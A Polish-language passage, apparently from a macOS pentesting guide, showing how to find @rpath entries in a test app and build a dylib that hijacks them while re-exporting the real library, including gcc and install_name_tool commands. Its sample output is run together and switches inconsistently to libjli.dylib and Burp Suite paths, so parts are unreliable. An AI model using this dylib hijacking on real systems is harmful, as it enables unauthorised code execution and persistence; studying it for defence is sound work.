# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
Z poprzednich informacji wiemy, że nie sprawdza sygnatury załadowanych bibliotek i próbuje załadować bibliotekę z:
Więc jest to możliwe do przechwycenia! Stwórz bibliotekę, która wykonuje pewien arbitralny kod i eksportuje te same funkcjonalności co prawidłowa biblioteka poprzez ponowne eksportowanie jej. I pamiętaj, aby ją skompilować z oczekiwanymi wersjami:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
Ścieżka reeksportu utworzona w bibliotece jest względna dla ładowacza, zmieńmy ją na bezwzględną ścieżkę do biblioteki do eksportu:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
Ostatecznie po prostu skopiuj go do przechwyconego miejsca:
Jeśli planujesz próbować wstrzykiwać biblioteki w nieoczekiwane binaria, możesz sprawdzić komunikaty zdarzeń, aby dowiedzieć się, kiedy biblioteka jest ładowana wewnątrz procesu (w tym przypadku usuń printf i wykonanie /bin/bash).